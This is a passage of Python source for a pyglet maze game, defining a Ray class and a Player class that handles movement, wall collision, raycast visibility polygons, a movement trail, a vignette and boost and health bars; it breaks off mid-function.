class Ray():
    def __init__(self, origin, x, y, color, opacity, RAYS_BATCH):
        self.origin = origin
        self.x = x
        self.y = y
        self.color = color
        self.opacity = opacity
        self.RAYS_BATCH = RAYS_BATCH

    def draw(self):
        # self.RAYS_BATCH.add(2, gl.GL_LINES, None, ('v2f/stream', (self.origin[0],self.origin[1], self.x,self.y)), ('c3B', (self.color[0],self.color[1],self.color[2] , self.color[0],self.color[1],self.color[2])))
        ray = pyglet.shapes.Line(
            self.origin[0], self.origin[1], self.x, self.y, 1, color=self.color, batch=self.RAYS_BATCH)
        ray.opacity = self.opacity
        # ray.draw()
        return ray
        # self.RAYS_LIST.append(ray)

class Player():
    def __init__(self, image, player_color, overlay, pos, width, show_vignete, screen):
        self.width = width
        self.Player_Sprite = image
        self.PLAYER_COLOR = player_color
        self.pos = pos
        self.cell_X, self.cell_Y = 0, 0

        self.finishX, self.finishY = 0, 0
        self.points_of_collision = []

        self.vignette = overlay
        self.vignette_rect = Rect(pos[0], pos[1], self.vignette)
        # self.vignette_rect = self.vignette.get_rect(center=self.pos)
        self.rect = Rect(pos[0], pos[1], self.Player_Sprite)
        # self.rect = self.Player_Sprite.get_rect(center=self.pos)
        self.SHAPE: str = 'CIRCLE'  # ! 'SQAURE' OR 'CIRCLE'
        self.SHOW_VIGNETEE: bool = show_vignete
        self.smooth_time: float = 1
        self.time: float = 0

        self.RENDERED_TEXT: bool = False
        self.BARS_BATCH = pyglet.graphics.Batch()
        self.TEXT_BATCH = pyglet.graphics.Batch()

        self.RAYS_BATCH = pyglet.graphics.Batch()
        self.RAYS_LIST = []

        self.TEXT_LIST: list = []

        self.TRAIL_POSTITIONS: list = []
        self.TRAIL_MAX_LENGTH: int = 25
        self.TRAIL_BATCH = pyglet.graphics.Batch()
        self.TRAIL_LINES: list = []
        # self.TAIL = self.LOAD_TRAIL(self.TRrangeAIL_IMAGE, self.PLAYER_COLOR)

        self.IS_MOVING: bool = False
        self.SPEED_BOOST: float = 1.05
        self.SPEED_BOOST_DURATION: float = 10
        self.MAX_SPEED_DURATION: float = 10

        self.health = 5
        self.MAX_HEALTH = 5
        self.screen_width, self.screen_height = screen

    def reset(self):
        self.health = self.MAX_HEALTH
        self.SPEED_BOOST_DURATION = self.MAX_SPEED_DURATION
        self.TRAIL_POSTITIONS.clear()
        self.TRAIL_BATCH = pyglet.graphics.Batch()

    def change_debugging_mode(self, dev_mode, maze_col):
        # NOTE DEBUGGING OR DEVELOPMENT ONLY
        self.DEVELOPER_MODE: bool = dev_mode
        self.ENABLE_MAZE_GOL: bool = maze_col

    def update(self, x, y, SHIFT, dt, cols, rows, grid, maze_cells_batch, screen_size):  # Update movements
        self.grid = grid
        self.rows = rows
        self.cols = cols
        if screen_size[0] > screen_size[1]:
            self.MAX_RAY_LENGTH = screen_size[0]
        else:
            self.MAX_RAY_LENGTH = screen_size[1]
        self.maze_cells_batch = maze_cells_batch
        self.rect.update(self.Player_Sprite.x, self.Player_Sprite.y)

        if len(self.TRAIL_POSTITIONS) >= self.TRAIL_MAX_LENGTH:
            if not self.IS_MOVING:
                self.TRAIL_POSTITIONS.append(
                    (self.Player_Sprite.x, self.Player_Sprite.y))
                try:
                    self.TRAIL_LINES.append(self.line)
                except:
                    pass
            self.TRAIL_POSTITIONS.pop(0)
            self.TRAIL_LINES.pop(0)
        else:
            self.TRAIL_POSTITIONS.append(
                (self.Player_Sprite.x, self.Player_Sprite.y))
            try:
                self.TRAIL_LINES.append(self.line)
            except:
                pass

        self.vignette_rect.update(self.Player_Sprite.x, self.Player_Sprite.y)
        self.vignette.x = self.rect.left()
        self.vignette.y = self.rect.bottom()
        testdist = dt // 5  # distance from the wall
        self.cell_X = int(self.rect.centerx() // self.width)
        self.cell_Y = int(self.rect.centery() // self.width)
        # min_X = self.rect.leftX() // self.width
        # max_X = self.rect.rightX() // self.width
        # min_Y = self.rect.topY() // self.width
        # max_Y = self.rect.bottomY() // self.width

        w, a, s, d = False, False, False, False
        if x > self.Player_Sprite.x:
            d = True
            a = False
        elif x < self.Player_Sprite.x:
            d = False
            a = True
        if y > self.Player_Sprite.y:
            w = True
            s = False
        elif y < self.Player_Sprite.y:
            w = False
            s = True

        if not w and not a and not s and not d:
            self.IS_MOVING = False
        else:
            self.IS_MOVING = True
        self.TRAIL_MAX_LENGTH = 25
        speed = 10
        if (
            self.time >= self.smooth_time
            and SHIFT
            and self.SPEED_BOOST_DURATION >= 0
            and self.IS_MOVING
        ):
            self.SPEED_BOOST_DURATION -= 0.03
            speed = 4
            self.TRAIL_MAX_LENGTH = 27
        if not self.IS_MOVING and self.SPEED_BOOST_DURATION <= self.MAX_SPEED_DURATION:
            self.SPEED_BOOST_DURATION += 0.03

        if self.ENABLE_MAZE_GOL:
            if w == True:  # UP
                self.time += 0.03
                next_Y = ((self.rect.top()-testdist) // self.width)
                is_wall = self.grid[self.cell_Y][self.cell_X].walls[2]
                if self.cell_Y == next_Y or (next_Y >= 0 and not is_wall):
                    self.Player_Sprite.y += speed
            elif s == True:  # DOWN
                self.time += 0.03
                next_Y = (
                    (self.rect.bottom()-(self.Player_Sprite.height)+testdist) // self.width)
                is_wall = self.grid[self.cell_Y][self.cell_X].walls[0]
                if self.cell_Y == next_Y or (next_Y < self.rows and not is_wall):
                    self.Player_Sprite.y -= speed
            if a == True:  # LEFT
                self.time += 0.03
                next_X = (
                    (self.rect.left()-(self.Player_Sprite.width)-testdist) // self.width)
                is_wall = self.grid[self.cell_Y][self.cell_X].walls[3]
                if self.cell_X == next_X or (next_X >= 0 and not is_wall):
                    self.Player_Sprite.x -= speed
            elif d == True:  # RIGHT
                self.time += 0.03
                next_X = ((self.rect.right()+testdist) // self.width)
                is_wall = self.grid[self.cell_Y][self.cell_X].walls[1]
                if self.cell_X == next_X or (next_X < self.cols and not is_wall):
                    self.Player_Sprite.x += speed
        else:
            self.Player_Sprite.x = x
            self.Player_Sprite.y = y
            # if w == True:
            #     self.Player_Sprite.y += 5
            # elif s == True:
            #     self.Player_Sprite.y -= 5
            # if a == True:
            #     self.Player_Sprite.x -= 5
            # elif d == True:
            #     self.Player_Sprite.x += 5
            # self.rotate(w, a, s, d)

    def draw(self):
        # gl stuff
        pyglet.gl.glEnable(pyglet.gl.GL_BLEND)
        pyglet.gl.glBlendFunc(pyglet.gl.GL_SRC_ALPHA,
                              pyglet.gl.GL_ONE_MINUS_SRC_ALPHA)
        pyglet.gl.glEnable(pyglet.gl.GL_LINE_SMOOTH)
        pyglet.gl.glHint(pyglet.gl.GL_LINE_SMOOTH_HINT, pyglet.gl.GL_DONT_CARE)

        self.RAYS_BATCH = pyglet.graphics.Batch()
        self.LEFT_BOTTOM_BATCH = pyglet.graphics.Batch()
        self.RIGHT_BOTTOM_BATCH = pyglet.graphics.Batch()
        self.LEFT_TOP_BATCH = pyglet.graphics.Batch()
        self.RIGHT_TOP_BATCH = pyglet.graphics.Batch()

        self.TOP_BATCH = pyglet.graphics.Batch()
        self.BOTTOM_BATCH = pyglet.graphics.Batch()
        self.RIGHT_BATCH = pyglet.graphics.Batch()
        self.LEFT_BATCH = pyglet.graphics.Batch()

        self.RAYS_LIST.clear()
        # x2 = math.cos(0) * 100 + self.Player_Sprite.x
        # y2 = math.sin(0) * 100 + self.Player_Sprite.y
        x3 = self.Player_Sprite.x
        y3 = self.Player_Sprite.y
        try:

            self.total_walls_in_cell = []
            points = []
            for y in range(self.rows):
                for x in range(self.cols):
                    wall_top: bool = self.grid[y][x].walls[0]
                    wall_right: bool = self.grid[y][x].walls[1]
                    wall_bottom: bool = self.grid[y][x].walls[2]
                    wall_left: bool = self.grid[y][x].walls[3]
                    if wall_top:
                        x1 = self.grid[y][x].top_wall_1[0]
                        y1 = self.grid[y][x].top_wall_1[1]
                        x2 = self.grid[y][x].top_wall_2[0]
                        y2 = self.grid[y][x].top_wall_2[1]
                        self.total_walls_in_cell.append([(x1, y1), (x2, y2)])
                        # self.total_walls_in_cell.append((x1, y1))
                        # self.total_walls_in_cell.append((x2, y2))
                    if wall_right:  # RIGHT
                        x1 = self.grid[y][x].right_wall_1[0]
                        y1 = self.grid[y][x].right_wall_1[1]
                        x2 = self.grid[y][x].right_wall_2[0]
                        y2 = self.grid[y][x].right_wall_2[1]
                        self.total_walls_in_cell.append([(x1, y1), (x2, y2)])
                        # self.total_walls_in_cell.append((x1, y1))
                        # self.total_walls_in_cell.append((x2, y2))
                    if wall_left:  # LEFT
                        x1 = self.grid[y][x].left_wall_1[0]
                        y1 = self.grid[y][x].left_wall_1[1]
                        x2 = self.grid[y][x].left_wall_2[0]
                        y2 = self.grid[y][x].left_wall_2[1]
                        self.total_walls_in_cell.append([(x1, y1), (x2, y2)])
                        # self.total_walls_in_cell.append((x1, y1))
                        # self.total_walls_in_cell.append((x2, y2))
                    if wall_bottom:  # BOTTOM
                        x1 = self.grid[y][x].bottom_wall_1[0]
                        y1 = self.grid[y][x].bottom_wall_1[1]
                        x2 = self.grid[y][x].bottom_wall_2[0]
                        y2 = self.grid[y][x].bottom_wall_2[1]
                        self.total_walls_in_cell.append([(x1, y1), (x2, y2)])
                        # self.total_walls_in_cell.append((x1, y1))
                        # self.total_walls_in_cell.append((x2, y2))
        except Exception as e:
            print(f'{e} 2')

        # for i in range(lines):
        for wall in self.total_walls_in_cell:
            x1 = wall[0][0]
            y1 = wall[0][1]
            x2 = wall[1][0]
            y2 = wall[1][1]
            points.append((x1, y1))
            points.append((x2, y2))
            # distance = math.hypot(x3 - x1, y3 - y1)
            # if distance > 200:
            # distance = math.hypot(x3 - x2, y3 - y2)
            # if distance < 200:
            # ray = Ray((x3, y3), x2, y2, (255,255,255), 40, self.RAYS_BATCH)
            # ray = ray.draw()
            # self.RAYS_LIST.append(ray)
        uniqueAngles = []
        for point in points:
            angle = math.atan2(point[1]-y3, point[0]-x3)
            uniqueAngles.append(angle-0.00001)
            uniqueAngles.append(angle)
            uniqueAngles.append(angle+0.00001)

        # Remove duplicats, this almost triples performance.
        print(f'Before: {len(uniqueAngles)}')
        uniqueAngles = list(set(uniqueAngles))
        print(f'After: {len(uniqueAngles)}')

        uniqueAngles.sort()
        self.points_of_collision.clear()
        self.points_of_collision.append((x3, y3))
        # self.points_of_collision.append(x3)
        # self.points_of_collision.append(y3)
        # self.points_of_collision.append(y3)

        # unique_line_angles = []
        # for wall in self.total_walls_in_cell:
        #     distance = math.hypot(x3 - wall[0][1], y3 - wall[0][0])
        #     if distance < 100:
        #         unique_line_angles.append([(x3, y3), (wall[0][1], wall[0][0])])
        first_point = None
        for angle in uniqueAngles:
            closest = None
            # FOR RAYCASTS
            x4 = math.cos(angle) * 100 + self.Player_Sprite.x
            y4 = math.sin(angle) * 100 + self.Player_Sprite.y
        #     has_intersection = Trueet current I
            for i, wall in enumerate(self.total_walls_in_cell):

                # ANOTHER RAYCASTING IMPLEMNTATION THAT DOESNT WORK
                r_px = x3
                r_py = y3
                r_dx = x4-x3
                r_dy = y4-y3

                s_px = wall[0][0]
                s_py = wall[0][1]
                s_dx = wall[1][0]-wall[0][0]
                s_dy = wall[1][1]-wall[0][1]

                r_mag = math.sqrt(r_dx*r_dx+r_dy*r_dy)
                s_mag = math.sqrt(s_dx*s_dx+s_dy*s_dy)
                try:
                    if(r_dx/r_mag == s_dx/s_mag and r_dy/r_mag == s_dy/s_mag):
                        continue
                    T2 = (r_dx*(s_py-r_py) + r_dy*(r_px-s_px)) / \
                        (s_dx*r_dy - s_dy*r_dx)
                    T1 = (s_px+s_dx*T2-r_px)/r_dx
                    if T1 < 0:
                        continue
                    if T2 < 0 or T2 > 1:
                        continue
                    if not closest or T1 < closest:
                        closest = T1
                except:
                    pass
            try:
                if not first_point:
                    first_point = (r_px+r_dx*closest, r_py+r_dy*closest)
                self.points_of_collision.append(
                    (r_px+r_dx*closest, r_py+r_dy*closest))
                # self.points_of_collision.append(r_px+r_dx*closest)
                # self.points_of_collision.append(r_py+r_dy*closest)
                # self.points_of_collision.sort()
                # ray = Ray((x3, y3), r_px+r_dx*closest, r_py+r_dy*closest,
                #         (255, 255, 255), 10, self.RAYS_BATCH)
                # ray = ray.draw()
                # self.RAYS_LIST.append(ray)
            except (UnboundLocalError, TypeError, IndexError):
                pass
        new_points_of_collision = []
        try:
            # This is to finish the polygon where we started
            # self.points_of_collision.append(first_point[0])
            # self.points_of_collision.append(first_point[1])
            self.points_of_collision.append((first_point))
            for index in range(len(self.points_of_collision)):
                index+1

                x1 = self.points_of_collision[index-1][0]
                y1 = self.points_of_collision[index-1][1]

                x2 = self.points_of_collision[index][0]
                y2 = self.points_of_collision[index][1]

                distance = math.hypot(x1 - x2, y1 - y2)
                if distance < self.MAX_RAY_LENGTH:
                    # print(distance)
                    # else:
                    # new_points_of_collision.append((x1,y1))
                    # new_points_of_collision.append((x2,y2))
                    new_points_of_collision.append(x2)
                    new_points_of_collision.append(y2)
            # Draw rays
            for i in range(len(new_points_of_collision)):
                i+1
                ray = Ray((x3, y3), new_points_of_collision[i-1], new_points_of_collision[i],
                          (255, 255, 255), 10, self.RAYS_BATCH)
                ray = ray.draw()
                self.RAYS_LIST.append(ray)
            # Draw polygon
            ec = int(len(new_points_of_collision)/2)
            self.RAYS_BATCH.add(ec, pyglet.gl.GL_POLYGON, None,
                                ("v2f/stream", new_points_of_collision),
                                ("c4B", (255, 255, 255, 10)*ec))
        except Exception as e:
            print(e)
            # RAYCAST IMPLEMENTATION
           #     x1 = wall[0][0]
           #     y1 = wall[0][1]
           #     x2 = wall[1][0]
           #     y2 = wall[1][1]

           #     denominator = ((x1 - x2) * (y3 - y4) - (y1 - y2) * (x3 - x4))
           #     t = ((x1 - x3) * (y3 - y4) - (y1 - y3) * (x3 - x4)) / denominator
           #     u = -((x1 - x2) * (y1 - y3) - (y1 - y2) * (x1 - x3)) / denominator
           #     # distance = math.sqrt(math.pow((x3-pt1),2)+math.pow((y3-pt2),2))
           #     # FOR RAYCASING
           #     if t > 0 and t < 1 and u > 0:
           #         pt1 = x1 + t * (x2 - x1);
           #         pt2 = y1 + t * (y2 - y1);
           #         distance = math.hypot(x3 - pt1, y3 - pt2)
           #         if distance < record:
           #             record = distance
           #             closest = (pt1, pt2)
           # if closest:
           #     self.points_of_collision.append((closest[0], closest[1]))
           #     # self.points_of_collision.append(closest[0])
           #     # self.points_of_collision.append(closest[1])
           #     ray = Ray((x3, y3), closest[0], closest[1], (255,255,255), 40, self.RAYS_BATCH)
           #     ray = ray.draw()
           #     self.RAYS_LIST.append(ray)
        # except Exception as e: print(f'{e} 2')
        # OLD VIGNETTE METHOD START -----
    #     init_bottom_left = False
    #     init_bottom_right = False
    #     init_top_left = False
    #     init_top_right = False

    #     record_left = 1000
    #     record_right = 0
    #     record_top = 0
    #     record_bottom = 1000
    #     # for i in range(lines):
    #     for index, _ in enumerate(self.points_of_collision):
    #         x1 = self.points_of_collision[index][0]
    #         y1 = self.points_of_collision[index][1]
    #         index + 1
    #         x2 = self.points_of_collision[index][0]
    #         y2 = self.points_of_collision[index][1]
    # #         # distance = math.hypot(x1 - x2, y1 - y2)
    # #         # self.RAYS_BATCH.add(2, gl.GL_LINE_LOOP, None, ('v2f', (x1,y1, x2, y2)), ('c3B', [(255)]*(3*2)))

    # #         #     print(distance)
    # #         #     if distance < record:
    # #         #         record = distance
    # #         #         shortest = (x2, y2)
    # #         # if x2 <= self.Player_Sprite.x and y2 <= self.Player_Sprite.y: # bottom left
    # #         #     if not init_bottom_left:
    # #         #         self.RAYS_BATCH.add(2, gl.GL_TRIANGLE_STRIP, None, ('v2f', (0,0, shortest[0],shortest[1])), ('c3B', [(255)]*(3*2)))
    # #         #         init_bottom_left = True
    # #         #     else:
    # #         #         self.RAYS_BATCH.add(2, gl.GL_TRIANGLE_STRIP, None, ('v2f', (x1,y1, shortest[0],shortest[1])), ('c3B', [(255)]*(3*2)))
    # #         # self.RAYS_BATCH.add(2, gl.GL_LINES, None, ('v2f', (self.points_of_collision[index-1][0],self.points_of_collision[index-1][1],self.points_of_collision[index][0],self.points_of_collision[index][1])), ('c3B', [(100)]*(3*2)))

    #         if x2 < record_left: record_left = x2
    #         if x2 > record_right: record_right = x2
    #         if y2 > record_top: record_top = y2
    #         if y2 < record_bottom: record_bottom = y2
    #         # if y2 > self.Player_Sprite.y and y2 < record_top and x2 >= (self.Player_Sprite.x-10) and x2 <= (self.Player_Sprite.x+10): record_top = y2 # shortest top positon

    #         if x2 <= self.Player_Sprite.x and y2 <= self.Player_Sprite.y: # bottom left
    #             if x1 <= self.Player_Sprite.x and y1 <= self.Player_Sprite.y: # bottom left
    #                 if not init_bottom_left:
    #                     self.LEFT_BOTTOM_BATCH.add(2, gl.GL_TRIANGLE_FAN, None, ('v2f', (0,0, x2,y2)), ('c3B', [(0)]*(3*2)))
    #                     init_bottom_left = True
    #                 else:
    #                     self.LEFT_BOTTOM_BATCH.add(2, gl.GL_TRIANGLE_FAN, None, ('v2f', (x1,y1, x2,y2)), ('c3B', [(0)]*(3*2)))
    #         if x2 <= self.Player_Sprite.x and y2 >= self.Player_Sprite.y: # top left
    #             if x1 <= self.Player_Sprite.x and y1 >= self.Player_Sprite.y:
    #                 if not init_top_left:
    #                     self.LEFT_TOP_BATCH.add(2, gl.GL_TRIANGLE_FAN, None, ('v2f', (0,self.screen_height, x2,y2)), ('c3B', [(0)]*(3*2)))
    #                     init_top_left = True
    #                 else:
    #                     self.LEFT_TOP_BATCH.add(2, gl.GL_TRIANGLE_FAN, None, ('v2f', (x1,y1, x2,y2)), ('c3B', [(0)]*(3*2)))

    #         if x2 >= self.Player_Sprite.x and y2 >= self.Player_Sprite.y: # top right
    #             if x1 >= self.Player_Sprite.x and y1 >= self.Player_Sprite.y: # top right
    #                 if not init_top_right:
    #                     self.RIGHT_TOP_BATCH.add(2, gl.GL_TRIANGLE_FAN, None, ('v2f', (self.screen_width,self.screen_height, x2,y2)), ('c3B', [(0)]*(3*2)))
    #                     init_top_right = True
    #                 else:
    #                     self.RIGHT_TOP_BATCH.add(2, gl.GL_TRIANGLE_FAN, None, ('v2f', (x1,y1, x2,y2)), ('c3B', [(0)]*(3*2)))
    #         if x2 >= self.Player_Sprite.x and y2 <= self.Player_Sprite.y: # bottom right
    #             if x1 >= self.Player_Sprite.x and y1 <= self.Player_Sprite.y: # bottom right
    #                 if not init_bottom_right:
    #                     self.RIGHT_BOTTOM_BATCH.add(2, gl.GL_TRIANGLE_FAN, None, ('v2f', (self.screen_width,0, x2,y2)), ('c3B', [(0)]*(3*2)))
    #                     init_bottom_right = True
    #                 else:
    #                     self.RIGHT_BOTTOM_BATCH.add(2, gl.GL_TRIANGLE_FAN, None, ('v2f', (x1,y1, x2,y2)), ('c3B', [(0)]*(3*2)))

    #             # if y2 > self.Player_Sprite.y and x2 >= (self.Player_Sprite.x) and x2 <= (self.Player_Sprite.x+11):
    #                 # self.TOP_BATCH.add(3, gl.GL_TRIANGLE_FAN, None, ('v2f', (0,self.screen_height, self.screen_width,self.screen_height, x2, y2)), ('c3B', [(170)]*(3*3)))
    #         # self.BOTTOM_BATCH.add(4, gl.GL_QUADS, None, ('v2f', (0,0, self.screen_width,0, self.screen_width, record_bottom, 0, record_bottom)), ('c3B', [(0)]*(3*4)))
    #         # self.LEFT_BATCH.add(4, gl.GL_QUADS, None, ('v2f', (0,0, 0,self.screen_height, record_left,self.screen_height, record_left,0)), ('c3B', [(0)]*(3*4)))
    #         # self.RIGHT_BATCH.add(4, gl.GL_QUADS, None, ('v2f', (self.screen_width,0, self.screen_width,self.screen_height, record_right,self.screen_height, record_right,0)), ('c3B', [(0)]*(3*4)))
        # OLD VIGNETTE METHOD END -----

        # pass
        # print(self.Player_Sprite.x,self.Player_Sprite.y)

        # print(self.rect.x, self.rect.y)s
        # self.Player_Sprite.x = x
        # self.Player_Sprite.y = y

        # print(self.Player_Sprite.x, s)

        # TAIL
        fade_amounts = self.get_fade_values(0, 255, len(self.TRAIL_POSTITIONS))
        size_amounts = self.get_fade_values(0, 7, len(self.TRAIL_POSTITIONS))
        for index, tail_pos in enumerate(self.TRAIL_POSTITIONS):
            try:
                # self.TRAIL_BATCH.addself.makeCircle(tail_pos[0],tail_pos[1],size_amounts[index],12, self.PLAYER_COLOR))
                #     print(index)
                # circle1 = pyglet.shapes.Circle(tail_pos[0], tail_pos[1], size_amounts[index]*10, color = self.PLAYER_COLOR, batch = self.TRAIL_BATCH)
                #     circle1.opacity = 100
                x1 = self.TRAIL_POSTITIONS[index-1][0]
                y1 = self.TRAIL_POSTITIONS[index-1][1]
                x2 = tail_pos[0]
                y2 = tail_pos[1]
                # pyglet.gl.glLineWidth(self.WALL_WIDTH)
                # self.TRAIL_BATCH.add(2, gl.GL_LINES, None, ('v2f', (x,y, self.Player_Sprite.x, self.Player_Sprite.y)), ('c3B', (self.PLAYER_COLOR[0],self.PLAYER_COLOR[1],self.PLAYER_COLOR[2] , self.PLAYER_COLOR[0],self.PLAYER_COLOR[1],self.PLAYER_COLOR[2])))
                self.line = pyglet.shapes.Line(
                    x1, y1, x2, y2, 3, color=self.PLAYER_COLOR, batch=self.TRAIL_BATCH)
                self.line.opacity = 127
                # self.line.opacity = fade_amounts[0]
                # print(fade_amounts)

                # changing opacity of the line2
                # opacity is visibility (0 = invisible, 255 means visible)
            except IndexError:
                # the reason we pass this exception is because at the first index of the list it tries to find the one before and thus crashes.
                pass

        #     pyglet.graphics.draw(4, pyglet.gl.GL_, ('v2f', [0,0,
        #                                                         self.screen_width,0,
        #                                                         self.screen_width,self.vignette_rect.bottom()-(self.vignette.height/2)+(self.Player_Sprite.height/2),
        #                                                         0, self.vignette_rect.bottom()-(self.vignette.height/2)+(self.Player_Sprite.height/2)]), ('c3B', (0,0,0 ,0,0,0 ,0,0,0 ,0,0,0)))
        #     self.TAIL.set_alpha(fade_amounts[index])
        #     finalImage = self.TAIL.copy()
        #     try: finalImage = pygame.transform.scale(finalImage, (size_amounts[index], size_amounts[index]))
        #     except: passsa
        self.TRAIL_BATCH.draw()
        self.RIGHT_BOTTOM_BATCH.draw()
        self.RIGHT_TOP_BATCH.draw()
        self.LEFT_TOP_BATCH.draw()
        self.LEFT_BOTTOM_BATCH.draw()
        # self.TOP_BATCH.draw()
        # self.BOTTOM_BATCH.draw()
        # self.RIGHT_BATCH.draw()
        # self.LEFT_BATCH.draw()
        self.RAYS_BATCH.draw()

        # TOP
        if self.SHOW_VIGNETEE:
            pyglet.graphics.draw(4, pyglet.gl.GL_QUADS, ('v2f', [0, 0,
                                                                 self.screen_width, 0,
                                                                 self.screen_width, self.vignette_rect.bottom()-(self.vignette.height/2)
                                                                 + (self.Player_Sprite.height/2),
                                                                 0, self.vignette_rect.bottom()-(self.vignette.height/2)+(self.Player_Sprite.height/2)]), ('c3B', (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)))

            # BOTTOM
            pyglet.graphics.draw(4, pyglet.gl.GL_QUADS, ('v2f', [0, self.screen_height,
                                                                 self.screen_width, self.screen_height,
                                                                 self.screen_width, self.vignette_rect.top()-(self.vignette.height/2)
                                                                 - (self.Player_Sprite.height/2),
                                                                 0, self.vignette_rect.top()-(self.vignette.height/2)-(self.Player_Sprite.height/2)]), ('c3B', (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)))

            # LEFT
            pyglet.graphics.draw(4, pyglet.gl.GL_QUADS, ('v2f', [0, self.vignette_rect.top()-(self.vignette.height/2)+(self.Player_Sprite.height/2),
                                                                 self.vignette_rect.left()-(self.vignette.width/2)+(self.Player_Sprite.width
                                                                                / 2), self.vignette_rect.bottom()+(self.vignette.height/2)+(self.Player_Sprite.height/2),
                                                                 self.vignette_rect.left()-(self.vignette.width/2)+(self.Player_Sprite.width
                                                                                / 2), self.vignette_rect.bottom()-(self.vignette.height/2)+(self.Player_Sprite.height/2),
                                                                 0, self.vignette_rect.bottom()-(self.vignette.height/2)+(self.Player_Sprite.height/2)]), ('c3B', (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)))
            # RIGHT
            pyglet.graphics.draw(4, pyglet.gl.GL_QUADS, ('v2f', [self.screen_width, self.vignette_rect.top()-(self.vignette.height/2)+(self.Player_Sprite.height/2),
                                                                 self.vignette_rect.right()-(self.vignette.width/2)-(self.Player_Sprite.width
                                                                                / 2), self.vignette_rect.bottom()+(self.vignette.height/2)+(self.Player_Sprite.height/2),
                                                                 self.vignette_rect.right()-(self.vignette.width/2)-(self.Player_Sprite.width
                                                                                / 2), self.vignette_rect.bottom()-(self.vignette.height/2)+(self.Player_Sprite.height/2),
                                                                 self.screen_width, self.vignette_rect.bottom()-(self.vignette.height/2)+(self.Player_Sprite.height/2)]), ('c3B', (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)))

            self.vignette.draw()
        self.Player_Sprite.draw()

        self.TEXT_BATCH = pyglet.graphics.Batch()  # RESET TEXT GRAPHICS
        if self.finishX * self.width <= 200 and self.finishY * self.width < 260:
            if self.vignette_rect.x >= self.screen_width-200 and self.vignette_rect.y <= 260:
                self.draw_bars((10, -110, 30, 120), (255, 255, 255), self.PLAYER_COLOR,
                               50, self.SPEED_BOOST_DURATION, self.MAX_SPEED_DURATION, 'BOOST')
                self.draw_bars((50, -110, 30, 120), (255, 255, 255),
                               (255, 75, 75), 50, self.health, self.MAX_HEALTH, 'HEALTH')
            else:
                self.draw_bars((self.screen_width-80, -110, 30, 120), (255, 255, 255),
                               self.PLAYER_COLOR, 50, self.SPEED_BOOST_DURATION, self.MAX_SPEED_DURATION, 'BOOST')
                self.draw_bars((self.screen_width-40, -110, 30, 120), (255, 255, 255),
                               (255, 75, 75), 50, self.health, self.MAX_HEALTH, 'HEALTH')
        else:
            if self.vignette_rect.x <= 200 and self.vignette_rect.y <= 260:
                self.draw_bars((self.screen_width-80, -110, 30, 120), (255, 255, 255),
                               self.PLAYER_COLOR, 50, self.SPEED_BOOST_DURATION, self.MAX_SPEED_DURATION, 'BOOST')
                self.draw_bars((self.screen_width-40, -110, 30, 120), (255, 255, 255),
                               (255, 75, 75), 50, self.health, self.MAX_HEALTH, 'HEALTH')
            else:
                self.draw_bars((10, -110, 30, 120), (255, 255, 255), self.PLAYER_COLOR,
                               50, self.SPEED_BOOST_DURATION, self.MAX_SPEED_DURATION, 'BOOST')
                self.draw_bars((50, -110, 30, 120), (255, 255, 255),
                               (255, 75, 75), 50, self.health, self.MAX_HEALTH, 'HEALTH')

        self.TEXT_BATCH.draw()
        self.RENDERED_TEXT = False
        # self.BARS_BATCH.draw()

    def draw_bars(self, rect, outline_color, fill_color, opacity, value, max_value, name, width=1):
        # pyglet.gl.glLineWidth(width)
        x, y, w, h = rect
        width = max(width, 1)  # Draw at least one rect.
        width = min(min(width, w//2), h//2)  # Don't overdraw.
        BAR_POSITON = (value/max_value)*h
        # pygame.gfxdraw.box(screen, pygame.Rect(x,y+BAR_POSITON+h-BAR_POSITON,w,h-(BAR_POSITON)-h), fill_color)# alpha level
        # pyglet.graphics.draw(4, pyglet.gl.GL_QUADS, ('v2f', [x,y,
        #                                                      x,y+(BAR_POSITON)-h,
        #                                                      x+w,y+h-(BAR_POSITON)-h,
        #                                                      x,y+w]), ('c3B', (fill_color[0],fill_color[1],fill_color[2],fill_color[0],fill_color[1],fill_color[2], fill_color[0],fill_color[1],fill_color[2], fill_color[0],fill_color[1],fill_color[2])))
        bar = pyglet.shapes.Rectangle(
            x, y+BAR_POSITON+h-BAR_POSITON, w, h+(BAR_POSITON)-h, color=fill_color, batch=self.BARS_BATCH)

        # self.BARS_BATCH.add(4, gl.GL_LINES, None, ('v2f', (x,y ,x,y-h, x+w,y-h ,x+w,y)), ('c3B', (outline_color[0],outline_color[1],outline_color[2] , outline_color[0],outline_color[1],outline_color[2],outline_color[0],outline_color[1],outline_color[2] , outline_color[0],outline_color[1],outline_color[2])))
        line_left = pyglet.shapes.Line(
            x, y+h, x, y+h*2, width, color=outline_color, batch=self.BARS_BATCH)
        line_right = pyglet.shapes.Line(
            x+w, y+h, x+w, y+h*2, width, color=outline_color, batch=self.BARS_BATCH)
        line_top = pyglet.shapes.Line(
            x, y+h*2, x+w, y+h*2, width, color=outline_color, batch=self.BARS_BATCH)
        line_bottom = pyglet.shapes.Line(
            x, y+h, x+w, y+h, width, color=outline_color, batch=self.BARS_BATCH)
        # changing opacity of the rect1
        # opacity is visibility (0 = invisible, 255 means visible)
        bar.opacity = opacity
        bar.draw()
        self.BARS_BATCH.draw()

        # myfont = pygame.font.SysFont('arial.ttf', 22)
        if not self.RENDERED_TEXT:
            space = -15
            for letter in name:
                play_text = pyglet.text.Label(letter, font_name="Arial", font_size=11, x=x+14, y=y+h+h+space,
                                              anchor_x='center', anchor_y='center', color=(255, 255, 255, 255), batch=self.TEXT_BATCH)
                self.TEXT_LIST.append(play_text)
                # textsurface = myfont.render(letter, True, (255, 255, 255))
                # screen.blit(textsurface,(x+10,y+space))
                space -= 17
        self.TEXT_LIST.clear()
        # This draws several smaller outlines inside the first outline. Invert
        # the direction if it should grow outwards.
        # for i in range(width):
        #     pygame.gfxdraw.rectangle(screen, (x+i, y+i, w-i*2, h-i*2), outline_color)

    def get_fade_values(self, start, max_value, amount_of_numbers):
        # NOTE TYPES
        numbers = []
        try:
            step = (max_value - start) / (amount_of_numbers - 1)
        except ZeroDivisionError:
            step = (max_value - start) / amount_of_numbers
        for i in range(amount_of_numbers):
            # In this case we want to start at 1, to simplify things.
            i = i + 1
            if i == 1:
                numbers.append(int(start))  # first number
            elif i == 2:
                numbers.append(int(start + step))  # second number
            if 3 <= i < amount_of_numbers:
                # everything in between
                numbers.append(int(start + (i - 1) * step))
            if i == amount_of_numbers:
                numbers.append(
